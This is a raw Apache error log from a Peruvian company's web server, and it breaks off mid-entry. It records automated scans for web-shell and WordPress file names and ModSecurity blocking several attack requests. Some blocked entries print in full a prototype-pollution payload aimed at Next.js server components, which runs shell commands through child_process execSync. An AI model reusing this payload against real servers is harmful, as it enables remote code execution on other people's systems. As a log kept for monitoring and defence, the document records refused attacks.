"aTmxP6f7prmcJYBswaINhAAAAA8"] [Wed Dec 10 16:19:01.420933 2025] [:error] [pid 7549:tid 7606] [client 4.241.200.97:44204] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.com/ [Wed Dec 10 16:19:01.598719 2025] [:error] [pid 7549:tid 7616] [client 4.241.200.97:44206] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:01.776814 2025] [:error] [pid 7547:tid 7571] [client 4.241.200.97:44208] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Wed Dec 10 16:19:01.954217 2025] [:error] [pid 7548:tid 7587] [client 4.241.200.97:44210] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:02.134636 2025] [:error] [pid 7548:tid 7602] [client 4.241.200.97:44212] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.de/ [Wed Dec 10 16:19:02.342574 2025] [:error] [pid 7736:tid 7742] [client 4.241.200.97:44214] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.fr/ [Wed Dec 10 16:19:02.520884 2025] [:error] [pid 7736:tid 7754] [client 4.241.200.97:44216] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:02.698296 2025] [:error] [pid 7736:tid 7739] [client 4.241.200.97:44218] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.de/ [Wed Dec 10 16:19:02.875782 2025] [:error] [pid 7736:tid 7753] [client 4.241.200.97:44220] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:03.408365 2025] [:error] [pid 7736:tid 7745] [client 4.241.200.97:44226] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Wed Dec 10 16:19:03.586176 2025] [:error] [pid 7736:tid 7748] [client 4.241.200.97:44228] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.co.uk/ [Wed Dec 10 16:19:03.763811 2025] [:error] [pid 7736:tid 7741] [client 4.241.200.97:44230] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Wed Dec 10 16:19:03.941278 2025] [:error] [pid 7736:tid 7759] [client 4.241.200.97:44232] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.co.uk/ [Wed Dec 10 16:19:04.121451 2025] [:error] [pid 7736:tid 7752] [client 4.241.200.97:44234] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.co.uk/ [Wed Dec 10 16:19:04.653924 2025] [:error] [pid 7549:tid 7626] [client 4.241.200.97:44240] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.co.uk/ [Wed Dec 10 16:19:04.834245 2025] [:error] [pid 7549:tid 7615] [client 4.241.200.97:44242] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Wed Dec 10 16:19:05.011550 2025] [:error] [pid 7549:tid 7617] [client 4.241.200.97:44244] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Wed Dec 10 16:19:05.188916 2025] [:error] [pid 7549:tid 7624] [client 4.241.200.97:44246] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.com/ [Wed Dec 10 16:19:05.366133 2025] [:error] [pid 7549:tid 7628] [client 4.241.200.97:44248] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.fr/ [Wed Dec 10 16:19:05.546278 2025] [:error] [pid 7549:tid 7623] [client 4.241.200.97:44250] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.fr/ [Wed Dec 10 16:19:05.723933 2025] [:error] [pid 7549:tid 7630] [client 4.241.200.97:44252] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Wed Dec 10 16:19:06.078497 2025] [:error] [pid 7549:tid 7612] [client 4.241.200.97:44256] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://duckduckgo.com/ [Wed Dec 10 16:19:06.256330 2025] [:error] [pid 7736:tid 7755] [client 4.241.200.97:44258] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.fr/ [Wed Dec 10 16:19:06.788390 2025] [:error] [pid 7549:tid 7619] [client 4.241.200.97:44264] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.yahoo.com/ [Wed Dec 10 16:19:06.965857 2025] [:error] [pid 7549:tid 7632] [client 4.241.200.97:44266] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:07.143371 2025] [:error] [pid 7549:tid 7629] [client 4.241.200.97:44268] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.com/ [Wed Dec 10 16:19:07.320830 2025] [:error] [pid 7549:tid 7611] [client 4.241.200.97:44270] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Wed Dec 10 16:19:07.676203 2025] [:error] [pid 7549:tid 7618] [client 4.241.200.97:44274] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Wed Dec 10 16:19:08.032564 2025] [:error] [pid 7548:tid 7595] [client 4.241.200.97:44278] File does not exist: /home/coldtecp/public_html/new.php, referer: https://duckduckgo.com/ [Wed Dec 10 16:19:08.209975 2025] [:error] [pid 7548:tid 7596] [client 4.241.200.97:44280] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:08.387305 2025] [:error] [pid 7736:tid 7751] [client 4.241.200.97:44282] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Wed Dec 10 16:19:08.918516 2025] [:error] [pid 7549:tid 7631] [client 4.241.200.97:44288] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Wed Dec 10 16:19:09.096031 2025] [:error] [pid 7549:tid 7607] [client 4.241.200.97:44290] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://duckduckgo.com/ [Wed Dec 10 16:19:11.946166 2025] [:error] [pid 7736:tid 7758] [client 4.241.200.97:44322] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Wed Dec 10 20:22:36.279220 2025] [:error] [pid 7549:tid 7622] [client 4.241.200.97:59660] File does not exist: /home/coldtecp/public_html/wp-links-opml.php, referer: https://duckduckgo.com/ [Wed Dec 10 20:22:36.628776 2025] [:error] [pid 7736:tid 7756] [client 4.241.200.97:59664] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.co.uk/ [Wed Dec 10 20:22:40.832115 2025] [:error] [pid 7736:tid 7762] [client 4.241.200.97:59712] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Wed Dec 10 20:22:46.770452 2025] [:error] [pid 7736:tid 7748] [client 4.241.200.97:59786] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.co.uk/ [Wed Dec 10 20:22:46.945395 2025] [:error] [pid 7736:tid 7741] [client 4.241.200.97:59788] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.co.uk/ [Wed Dec 10 20:22:47.119928 2025] [:error] [pid 7736:tid 7747] [client 4.241.200.97:59790] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.com/ [Wed Dec 10 20:22:47.294361 2025] [:error] [pid 7736:tid 7742] [client 4.241.200.97:59792] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.fr/ [Wed Dec 10 20:22:47.468677 2025] [:error] [pid 7736:tid 7740] [client 4.241.200.97:59794] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.com/ [Wed Dec 10 20:22:47.643062 2025] [:error] [pid 7736:tid 7760] [client 4.241.200.97:59796] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Wed Dec 10 22:07:03.311720 2025] [:error] [pid 7736:tid 7739] [client 15.223.185.156:38484] [client 15.223.185.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTo1VxZavkJeBk0T5WB8QAAAAME"] [Wed Dec 10 22:16:22.222620 2025] [:error] [pid 7736:tid 7757] [client 68.218.18.4:38956] File does not exist: /home/coldtecp/public_html/wp-links-opml.php, referer: https://www.bing.com/ [Wed Dec 10 22:16:22.645325 2025] [:error] [pid 7549:tid 7605] [client 68.218.18.4:38960] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.de/ [Wed Dec 10 22:16:27.802645 2025] [:error] [pid 7547:tid 7563] [client 68.218.18.4:39024] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.fr/ [Wed Dec 10 22:16:35.071000 2025] [:error] [pid 7736:tid 7745] [client 68.218.18.4:39100] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://duckduckgo.com/ [Wed Dec 10 22:16:35.282358 2025] [:error] [pid 7736:tid 7757] [client 68.218.18.4:39102] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://duckduckgo.com/ [Wed Dec 10 22:16:35.501128 2025] [:error] [pid 7736:tid 7739] [client 68.218.18.4:39104] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Wed Dec 10 22:16:35.716240 2025] [:error] [pid 7736:tid 7751] [client 68.218.18.4:39106] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Wed Dec 10 22:16:35.927353 2025] [:error] [pid 7549:tid 7617] [client 68.218.18.4:39108] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.fr/ [Wed Dec 10 22:16:36.138380 2025] [:error] [pid 7736:tid 7741] [client 68.218.18.4:39110] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Wed Dec 10 22:42:51.032512 2025] [:error] [pid 7736:tid 7743] [client 96.126.123.136:41332] [client 96.126.123.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTo9uxZavkJeBk0T5WB9ywAAAMU"] [Thu Dec 11 00:42:39.126282 2025] [:error] [pid 7549:tid 7617] [client 148.230.80.217:49040] [client 148.230.80.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTpZz_854T4_2LLA4z8wMwAAAIk"] [Thu Dec 11 00:58:11.943837 2025] [:error] [pid 7736:tid 7743] [client 82.25.108.190:50268] [client 82.25.108.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTpdcxZavkJeBk0T5WCCZwAAAMU"] [Thu Dec 11 01:10:23.812862 2025] [:error] [pid 7547:tid 7564] [client 68.183.27.182:50648] [client 68.183.27.182] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTpgT6f7prmcJYBswaIVpQAAAAo"] [Thu Dec 11 01:33:48.228731 2025] [:error] [pid 7547:tid 7562] [client 72.62.20.16:51842] [client 72.62.20.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTplzKf7prmcJYBswaIV6gAAAAg"] [Thu Dec 11 01:37:49.590116 2025] [:error] [pid 7549:tid 7631] [client 101.53.135.94:51940] [client 101.53.135.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=process.mainModule.require('child_process').execSync('id').toString().trim().replace(/\\x5c\\x5cn/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22,\\x22_chunks\\x22:\\x22$Q2\\x22,\\x22_formData\\x22..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTpmvf854T4_2LLA4z8wywAAAJc"] [Thu Dec 11 02:33:03.005644 2025] [:error] [pid 7548:tid 7596] [client 4.217.235.181:55382] File does not exist: /home/coldtecp/public_html/wp-links-opml.php, referer: https://www.google.de/ [Thu Dec 11 02:33:03.414834 2025] [:error] [pid 7547:tid 7572] [client 4.217.235.181:55386] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.com/ [Thu Dec 11 02:33:08.290206 2025] [:error] [pid 7736:tid 7744] [client 4.217.235.181:55438] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.bing.com/ [Thu Dec 11 02:33:15.169500 2025] [:error] [pid 7736:tid 7745] [client 4.217.235.181:55508] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.bing.com/ [Thu Dec 11 02:33:15.371541 2025] [:error] [pid 7736:tid 7740] [client 4.217.235.181:55510] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.bing.com/ [Thu Dec 11 02:33:15.573512 2025] [:error] [pid 7736:tid 7741] [client 4.217.235.181:55512] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.fr/ [Thu Dec 11 02:33:15.775879 2025] [:error] [pid 7736:tid 7747] [client 4.217.235.181:55514] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Thu Dec 11 02:33:15.977617 2025] [:error] [pid 7549:tid 7619] [client 4.217.235.181:55516] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Thu Dec 11 02:33:16.179975 2025] [:error] [pid 7549:tid 7612] [client 4.217.235.181:55518] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Thu Dec 11 04:22:24.195314 2025] [:error] [pid 16067:tid 16083] [client 4.230.47.126:36134] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.fr/ [Thu Dec 11 04:22:24.472255 2025] [:error] [pid 16067:tid 16091] [client 4.230.47.126:36136] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.de/ [Thu Dec 11 04:22:24.770431 2025] [:error] [pid 16067:tid 16098] [client 4.230.47.126:36138] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:22:25.115964 2025] [:error] [pid 16068:tid 16143] [client 4.230.47.126:36140] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.fr/ [Thu Dec 11 04:22:28.836903 2025] [:error] [pid 16483:tid 16502] [client 4.230.47.126:36142] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.fr/ [Thu Dec 11 04:22:29.054253 2025] [:error] [pid 16068:tid 16122] [client 4.230.47.126:36144] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.com/ [Thu Dec 11 04:22:29.314147 2025] [:error] [pid 16067:tid 16095] [client 4.230.47.126:36146] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.fr/ [Thu Dec 11 04:22:29.520945 2025] [:error] [pid 16483:tid 16488] [client 4.230.47.126:36148] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:22:29.737455 2025] [:error] [pid 16069:tid 16113] [client 4.230.47.126:36150] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:22:30.433931 2025] [:error] [pid 16068:tid 16116] [client 4.230.47.126:36156] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Thu Dec 11 04:22:30.660426 2025] [:error] [pid 16069:tid 16120] [client 4.230.47.126:36158] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.de/ [Thu Dec 11 04:22:30.901220 2025] [:error] [pid 16483:tid 16503] [client 4.230.47.126:36160] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:22:31.133757 2025] [:error] [pid 16069:tid 16104] [client 4.230.47.126:36162] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:22:31.359501 2025] [:error] [pid 16069:tid 16103] [client 4.230.47.126:36168] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:22:37.198729 2025] [:error] [pid 16068:tid 16126] [client 4.230.47.126:36174] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.bing.com/ [Thu Dec 11 04:22:42.781883 2025] [:error] [pid 16068:tid 16115] [client 4.230.47.126:36176] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.bing.com/ [Thu Dec 11 04:22:43.233963 2025] [:error] [pid 16067:tid 16090] [client 4.230.47.126:36180] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:22:43.874036 2025] [:error] [pid 16068:tid 16124] [client 4.230.47.126:36186] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.bing.com/ [Thu Dec 11 04:22:44.101299 2025] [:error] [pid 16068:tid 16128] [client 4.230.47.126:36188] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:22:44.556261 2025] [:error] [pid 16068:tid 16138] [client 4.230.47.126:36192] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Thu Dec 11 04:22:44.763902 2025] [:error] [pid 16068:tid 16140] [client 4.230.47.126:36194] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:22:44.977206 2025] [:error] [pid 16068:tid 16142] [client 4.230.47.126:36196] File does not exist: /home/coldtecp/public_html/network.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:22:45.186195 2025] [:error] [pid 16068:tid 16137] [client 4.230.47.126:36198] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.com/ [Thu Dec 11 04:22:45.390272 2025] [:error] [pid 16068:tid 16111] [client 4.230.47.126:36200] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Thu Dec 11 04:22:59.187314 2025] [:error] [pid 16068:tid 16121] [client 4.230.47.126:36222] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:23:04.778406 2025] [:error] [pid 16483:tid 16489] [client 4.230.47.126:36246] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:23:05.858022 2025] [:error] [pid 16483:tid 16500] [client 4.230.47.126:36248] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Thu Dec 11 04:23:28.780517 2025] [:error] [pid 16483:tid 16493] [client 4.230.47.126:36324] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:23:28.995222 2025] [:error] [pid 16483:tid 16506] [client 4.230.47.126:36326] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.de/ [Thu Dec 11 04:23:29.220818 2025] [:error] [pid 16067:tid 16079] [client 4.230.47.126:36328] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:23:30.756470 2025] [:error] [pid 16068:tid 16119] [client 4.230.47.126:36330] File does not exist: /home/coldtecp/public_html/x.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:23:30.974741 2025] [:error] [pid 16068:tid 16121] [client 4.230.47.126:36332] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:23:31.241786 2025] [:error] [pid 16068:tid 16129] [client 4.230.47.126:36334] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Thu Dec 11 04:23:31.450837 2025] [:error] [pid 16068:tid 16132] [client 4.230.47.126:36336] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.de/ [Thu Dec 11 04:23:31.659379 2025] [:error] [pid 16068:tid 16125] [client 4.230.47.126:36338] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Thu Dec 11 04:23:31.880119 2025] [:error] [pid 16068:tid 16134] [client 4.230.47.126:36340] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:23:32.085589 2025] [:error] [pid 16068:tid 16143] [client 4.230.47.126:36342] File does not exist: /home/coldtecp/public_html/api.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:23:32.945021 2025] [:error] [pid 16068:tid 16135] [client 4.230.47.126:36348] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.yahoo.com/ [Thu Dec 11 04:23:33.209726 2025] [:error] [pid 16068:tid 16116] [client 4.230.47.126:36350] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Thu Dec 11 04:23:33.519549 2025] [:error] [pid 16068:tid 16126] [client 4.230.47.126:36352] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.fr/ [Thu Dec 11 04:23:33.815228 2025] [:error] [pid 16068:tid 16115] [client 4.230.47.126:36354] File does not exist: /home/coldtecp/public_html/new.php, referer: https://duckduckgo.com/ [Thu Dec 11 04:23:34.052899 2025] [:error] [pid 16068:tid 16114] [client 4.230.47.126:36356] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.de/ [Thu Dec 11 04:23:34.478399 2025] [:error] [pid 16483:tid 